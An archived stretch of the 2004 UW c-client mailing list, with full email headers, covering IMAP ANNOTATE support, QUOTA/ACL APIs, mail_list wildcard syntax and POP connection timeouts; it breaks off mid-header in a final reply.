Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9H8QIu023989 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 9 Dec 2004 09:08:27 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iB9H8JqQ005298; Thu, 9 Dec 2004 09:08:19 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9H6tm3107956 for ; Thu, 9 Dec 2004 09:06:55 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB9H6sKF017301 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 9 Dec 2004 09:06:55 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB9H6sha009986; Thu, 9 Dec 2004 09:06:54 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9H6rvl001485; Thu, 9 Dec 2004 09:06:54 -0800 Message-Id: Date: Thu, 9 Dec 2004 09:06:53 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: hamaide@multitel.be Cc: c-client@u.washington.edu Subject: Re: IMAP ANNOTATE MORE support In-Reply-To: <20041209155436.8le28sko88sk8g0o@mail.multitel.be> References: <20041209155436.8le28sko88sk8g0o@mail.multitel.be> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 9 Dec 2004 hamaide@multitel.be wrote: > But I need ANNOTATE support. I've found on the website the you were planning to > do the support, but I cant found anything in hte documentation. There is currently no support for ANNOTATE and ANNOTATEMORE in c-client. You are the first person who has asked for it. Please note that ANNOTATE and ANNOTATEMORE are still under development in the IETF IMAPEXT working group, and as such the specification is subject to change. I can not predict at the present time when ANNOTATE and/or ANNOTATEMORE support will be added. This is a fairly large capability, and there are other projects. It is possible that a basic IMAP-client only support (as opposed to general c-client support and UW imapd support) can be added soon rather than later. This would be on the lines of the existing support for ACL and QUOTA; meaning that you call internal IMAP driver functions through unofficial interfaces. If this is OK, please let me know. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Dec 10 07:32:23 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 10 Dec 2004 07:32:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBAFWNUw031919 for ; Fri, 10 Dec 2004 07:32:23 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBAFWM20006984 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 10 Dec 2004 07:32:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBAFWCt6011410; Fri, 10 Dec 2004 07:32:13 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBAFUWXY092870 for ; Fri, 10 Dec 2004 07:30:32 -0800 Received: from membrain.com (stormy.membrain.com [66.93.53.27]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBAFUVwx003187 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 10 Dec 2004 07:30:32 -0800 Received: from [130.85.70.40] (stinky.ucs.umbc.edu [130.85.70.40]) (authenticated bits=0) by membrain.com (8.12.9/8.12.9) with ESMTP id iBAFUR7K023534 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 10 Dec 2004 10:30:28 -0500 (EST) Message-Id: <41B9C10F.3010301@membrain.com> Date: Fri, 10 Dec 2004 10:30:23 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Robert Banz To: c-client@u.washington.edu Subject: Re: IMAP ANNOTATE MORE support In-Reply-To: References: <20041209155436.8le28sko88sk8g0o@mail.multitel.be> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Milter-Key: 1102692930:f2d023bbe4339b1037f93b67fcda7d7e X-Avmilter: Message Skipped, too small X-Spam-Status: hits=-2.6 rating= tests=BAYES_00 X-Processed-By: MilterMonkey Version 0.9 -- http://www.membrain.com/miltermonkey X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > It is possible that a basic IMAP-client only support (as opposed to > general c-client support and UW imapd support) can be added soon rather > than later. This would be on the lines of the existing support for ACL > and QUOTA; meaning that you call internal IMAP driver functions through > unofficial interfaces. If this is OK, please let me know. Mark, Just curious -- have you had thoughts on what you would like to see the QUOTA & ACL driver APIs looking like? I've got some need at my site for such a thing -- so, it's either write some local web app to deal with it, or deal with it through a method that might actually benefit someone else ;) -rob From pinedev@shivax2.cac.washington.edu Fri Dec 10 09:41:22 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 10 Dec 2004 09:41:22 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBAHfLkh003979 for ; Fri, 10 Dec 2004 09:41:21 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBAHfKjI012157 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 10 Dec 2004 09:41:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBAHfBIh017830; Fri, 10 Dec 2004 09:41:12 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBAHdIED119256 for ; Fri, 10 Dec 2004 09:39:18 -0800 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBAHdFKO008425 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 10 Dec 2004 09:39:17 -0800 Received: from olan.imag.fr (olan.imag.fr [129.88.43.51]) by imag.imag.fr (8.13.0/8.13.0) with ESMTP id iBAHdDj1020191 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 10 Dec 2004 18:39:13 +0100 (CET) Received: from obiou.imag.fr ([129.88.43.2]) by olan.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1CcojY-0006Bq-00 for ; Fri, 10 Dec 2004 18:39:12 +0100 Message-Id: Date: Fri, 10 Dec 2004 18:39:12 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: Re: mailutil transfer and bad messages In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.4 (imag.imag.fr [129.88.30.1]); Fri, 10 Dec 2004 18:39:13 +0100 (CET) X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 8 Dec 2004, Mark Crispin wrote: > I suggest that you ask the maintainers of the Cyrus server if there is > a way to disable that check. Otherwise, there is no way that you can > truly copy your messages. I disabled myself these checks in the cyrus source, and then all the transfers went fine, very quickly, perfectly keeping all mail attributes (internal dates, flags, ...). :-) Thanks Mark, you showed me the right direction. Regards. -- Nicolas From pinedev@shivax2.cac.washington.edu Fri Dec 10 19:11:24 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 10 Dec 2004 19:11:24 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBB3BOq1023457 for ; Fri, 10 Dec 2004 19:11:24 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBB3BNYM002105 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 10 Dec 2004 19:11:23 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBB3B868014534; Fri, 10 Dec 2004 19:11:09 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBB39QCw052294 for ; Fri, 10 Dec 2004 19:09:26 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBB39PII011308 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 10 Dec 2004 19:09:25 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBB39P7V021839; Fri, 10 Dec 2004 19:09:25 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBB39O5f000724 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 10 Dec 2004 19:09:24 -0800 Message-Id: Date: Fri, 10 Dec 2004 19:08:28 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Robert Banz Cc: c-client@u.washington.edu Subject: Re: IMAP ANNOTATE MORE support In-Reply-To: <41B9C10F.3010301@membrain.com> References: <20041209155436.8le28sko88sk8g0o@mail.multitel.be> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 10 Dec 2004, Robert Banz wrote: > Just curious -- have you had thoughts on what you would like to see the QUOTA > & ACL driver APIs looking like? I've got some need at my site for such a > thing -- so, it's either write some local web app to deal with it, or deal > with it through a method that might actually benefit someone else ;) The APIs are fairly straightforward -- take a look at the internal interface in the IMAP driver and you can see what the API would look like. The problem in in the implementation with local files. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Dec 13 02:13:27 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 13 Dec 2004 02:13:27 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBDADRZM024049 for ; Mon, 13 Dec 2004 02:13:27 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBDADQA5005961 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 13 Dec 2004 02:13:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBDAD5h1020272; Mon, 13 Dec 2004 02:13:07 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBDA9sZN014976 for ; Mon, 13 Dec 2004 02:09:54 -0800 Received: from smtp.multitel.be (tcts.fpms.ac.be [193.190.194.194]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBDA9roF014944 for ; Mon, 13 Dec 2004 02:09:53 -0800 Received: from localhost (localhost [127.0.0.1]) by smtp.multitel.be (Postfix) with ESMTP id 747E829ABFB for ; Mon, 13 Dec 2004 11:36:49 +0100 (CET) Received: from smtp.multitel.be ([127.0.0.1]) by localhost (pop.multitel.be [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 23861-02 for ; Mon, 13 Dec 2004 11:36:39 +0100 (CET) Received: from www.multitel.be (multitel000010.multitel.be [192.168.0.10]) by smtp.multitel.be (Postfix) with ESMTP id 10A9929AC02 for ; Mon, 13 Dec 2004 11:36:22 +0100 (CET) Received: by www.multitel.be (Postfix, from userid 33) id 4677E1224A2; Mon, 13 Dec 2004 11:15:46 +0100 (CET) Received: from multitel009030.multitel.be (multitel009030.multitel.be [172.16.9.30]) by mail.multitel.be (Horde) with HTTP for ; Mon, 13 Dec 2004 11:15:46 +0100 Message-Id: <20041213111546.dxsakw808k8w84ko@mail.multitel.be> Date: Mon, 13 Dec 2004 11:15:46 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: hamaide@multitel.be To: c-client@u.washington.edu Subject: Re: IMAP ANNOTATE MORE support In-Reply-To: References: <20041209155436.8le28sko88sk8g0o@mail.multitel.be> MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1"; format="flowed" Content-Disposition: inline Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at multitel.be X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Yes, It is ok for me. I know that ANNOTATE and ANNOTATE MORE are still draft. But I'm developping a plugin for Kolab(kolab.org), and I really need it. So, as long as it work, it's ok for me :-) Julien Hamaide Quoting Mark Crispin : > On Thu, 9 Dec 2004 hamaide@multitel.be wrote: >> But I need ANNOTATE support. I've found on the website the you were >> planning to >> do the support, but I cant found anything in hte documentation. > > There is currently no support for ANNOTATE and ANNOTATEMORE in c-client. > You are the first person who has asked for it. Please note that ANNOTATE > and ANNOTATEMORE are still under development in the IETF IMAPEXT working > group, and as such the specification is subject to change. > > I can not predict at the present time when ANNOTATE and/or ANNOTATEMORE > support will be added. This is a fairly large capability, and there are > other projects. > > It is possible that a basic IMAP-client only support (as opposed to > general c-client support and UW imapd support) can be added soon rather > than later. This would be on the lines of the existing support for ACL > and QUOTA; meaning that you call internal IMAP driver functions through > unofficial interfaces. If this is OK, please let me know. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Dec 13 16:58:38 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 13 Dec 2004 16:58:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBE0wcpV023107 for ; Mon, 13 Dec 2004 16:58:38 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBE0wbiS024411 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 13 Dec 2004 16:58:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBE0wGQQ012024; Mon, 13 Dec 2004 16:58:16 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBE0uu4h068616 for ; Mon, 13 Dec 2004 16:56:56 -0800 Received: from web50907.mail.yahoo.com (web50907.mail.yahoo.com [206.190.38.127]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with SMTP id iBE0ut8D013132 for ; Mon, 13 Dec 2004 16:56:55 -0800 Received: (qmail 98726 invoked by uid 60001); 14 Dec 2004 00:56:55 -0000 Received: from [128.107.253.44] by web50907.mail.yahoo.com via HTTP; Mon, 13 Dec 2004 16:56:55 PST Message-Id: <20041214005655.98724.qmail@web50907.mail.yahoo.com> Date: Mon, 13 Dec 2004 16:56:55 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Biggs To: c-client@u.washington.edu Subject: syntax for mail_open and mail_list? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm trying to get a grip on the syntax I should be using for ref and pat parameters in the mail_list() command. I have a stream which I've already opened with mail_open(OP_HALFOPEN), and I'd like to do something simple like: 001 LIST "" "*" Just using NIL for ref and * in the pat parameter doesn't seem to be working out. Thanks! Andrew -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Dec 13 17:07:53 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 13 Dec 2004 17:07:53 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBE17r3d023325 for ; Mon, 13 Dec 2004 17:07:53 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBE17qw0005494 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 13 Dec 2004 17:07:53 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBE17bpV018910; Mon, 13 Dec 2004 17:07:37 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBE16kXS083496 for ; Mon, 13 Dec 2004 17:06:46 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBE16jLX022101 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 13 Dec 2004 17:06:46 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBE16j1P001911; Mon, 13 Dec 2004 17:06:45 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBE16icv001964 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 13 Dec 2004 17:06:44 -0800 Message-Id: Date: Mon, 13 Dec 2004 17:04:43 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andrew Biggs Cc: c-client@u.washington.edu Subject: Re: syntax for mail_open and mail_list? In-Reply-To: <20041214005655.98724.qmail@web50907.mail.yahoo.com> References: <20041214005655.98724.qmail@web50907.mail.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 13 Dec 2004, Andrew Biggs wrote: > Just using NIL for ref and * in the pat parameter > doesn't seem to be working out. Leaving aside the small matter that "*" is an extraordinarily bad idea to send to an IMAP server, you have to use an IMAP mailbox wildcard. mail_list (imapstream,NIL,"{imapserver.example.com}*"); "*" is a local mailbox wildcard. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Dec 16 08:55:16 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Dec 2004 08:55:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBGGtGUY025988 for ; Thu, 16 Dec 2004 08:55:16 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBGGtEkI017925 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 16 Dec 2004 08:55:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBGGswVb011788; Thu, 16 Dec 2004 08:54:58 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBGGqm2m097612 for ; Thu, 16 Dec 2004 08:52:48 -0800 Received: from osprey.magnet.fsu.edu (osprey.magnet.fsu.edu [146.201.230.20]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBGGqlTN031893 for ; Thu, 16 Dec 2004 08:52:48 -0800 Received: from osprey.magnet.fsu.edu (osprey.magnet.fsu.edu [146.201.230.20]) by osprey.magnet.fsu.edu (8.12.9/8.12.9) with SMTP id iBGGqWkw022153 for ; Thu, 16 Dec 2004 11:52:32 -0500 (EST) Message-Id: <200412161652.iBGGqWkw022153@osprey.magnet.fsu.edu> Date: Thu, 16 Dec 2004 11:52:32 -0500 (EST) Reply-To: Tom Combs Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tom Combs To: c-client@u.washington.edu Subject: Desperate : ipop timeouts MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: 5qlTIO2Vy1wbwhrh7DAQBA== X-OSPREY-MailScanner: Found to be clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I have Eudora and Outlook clients that get frequent to occasional connection time outs when checking mail. I believe this is exclusively for the pop users but may be for imap also. We have ~300 users and the ratio of pop to imap is about 15 to 1. The problem we are seeing is that a check for incoming email will occasionally cause a timeout error: Could not connect to "mail.magnet.fsu.edu" Cause: Connection timed out (10060) Other attempts will be successful, with some timing out. Some users get this a lot, some only a few an hour. I see no relationship to the size of the incoming mailbox and the error. The server load level is low, usually 0.5 to 1.0 and top shows it hardly breaking a sweat. I see no errors in the log files to indicate what the problem is. The server is a dual processor Dell Power Edge 1750 with 2GB of RAM. It is running RHEL 3.0, sendmail 8.13.1 and UW IMAP 2004a. I've played with sittings for xinetd by increasing the number of connections allowed, turning off LIBWRAP and other things but nothing helps. I've also tried increasing the buffer size in the Advanced Network settings for Eudora but this doesn't help either. Do realize that this is an intermittent problem for individual clients. They will get the timeout but then they can turn around and check their email. I was running may email services under Solaris on an Ultra 10 which is not nearly as powerful as the dual Xeon PowerEdge 1750 and never had this problem with the same load. I have done a lot of searching and have not see anyone with this problem. I hope you guys have seen this before and can save my holidays! Thanks! --Tom Combs -- Tom Combs E-mail: combs@magnet.fsu.edu National High Magnetic Field Laboratory Phone: (850) 644-1657 1800 E. Paul Dirac Drive Tallahassee, FL 32310 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Dec 16 09:07:33 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Dec 2004 09:07:33 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBGH7Xsf026466 for ; Thu, 16 Dec 2004 09:07:33 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBGH7VQK019601 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 16 Dec 2004 09:07:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBGH7Oqw017862; Thu, 16 Dec 2004 09:07:24 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBGH6W73047262 for ; Thu, 16 Dec 2004 09:06:32 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBGH6WCn013599 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 16 Dec 2004 09:06:32 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBGH6Vie030372; Thu, 16 Dec 2004 09:06:31 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBGH6V1Z009092; Thu, 16 Dec 2004 09:06:31 -0800 Message-Id: Date: Thu, 16 Dec 2004 09:06:31 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tom Combs Cc: 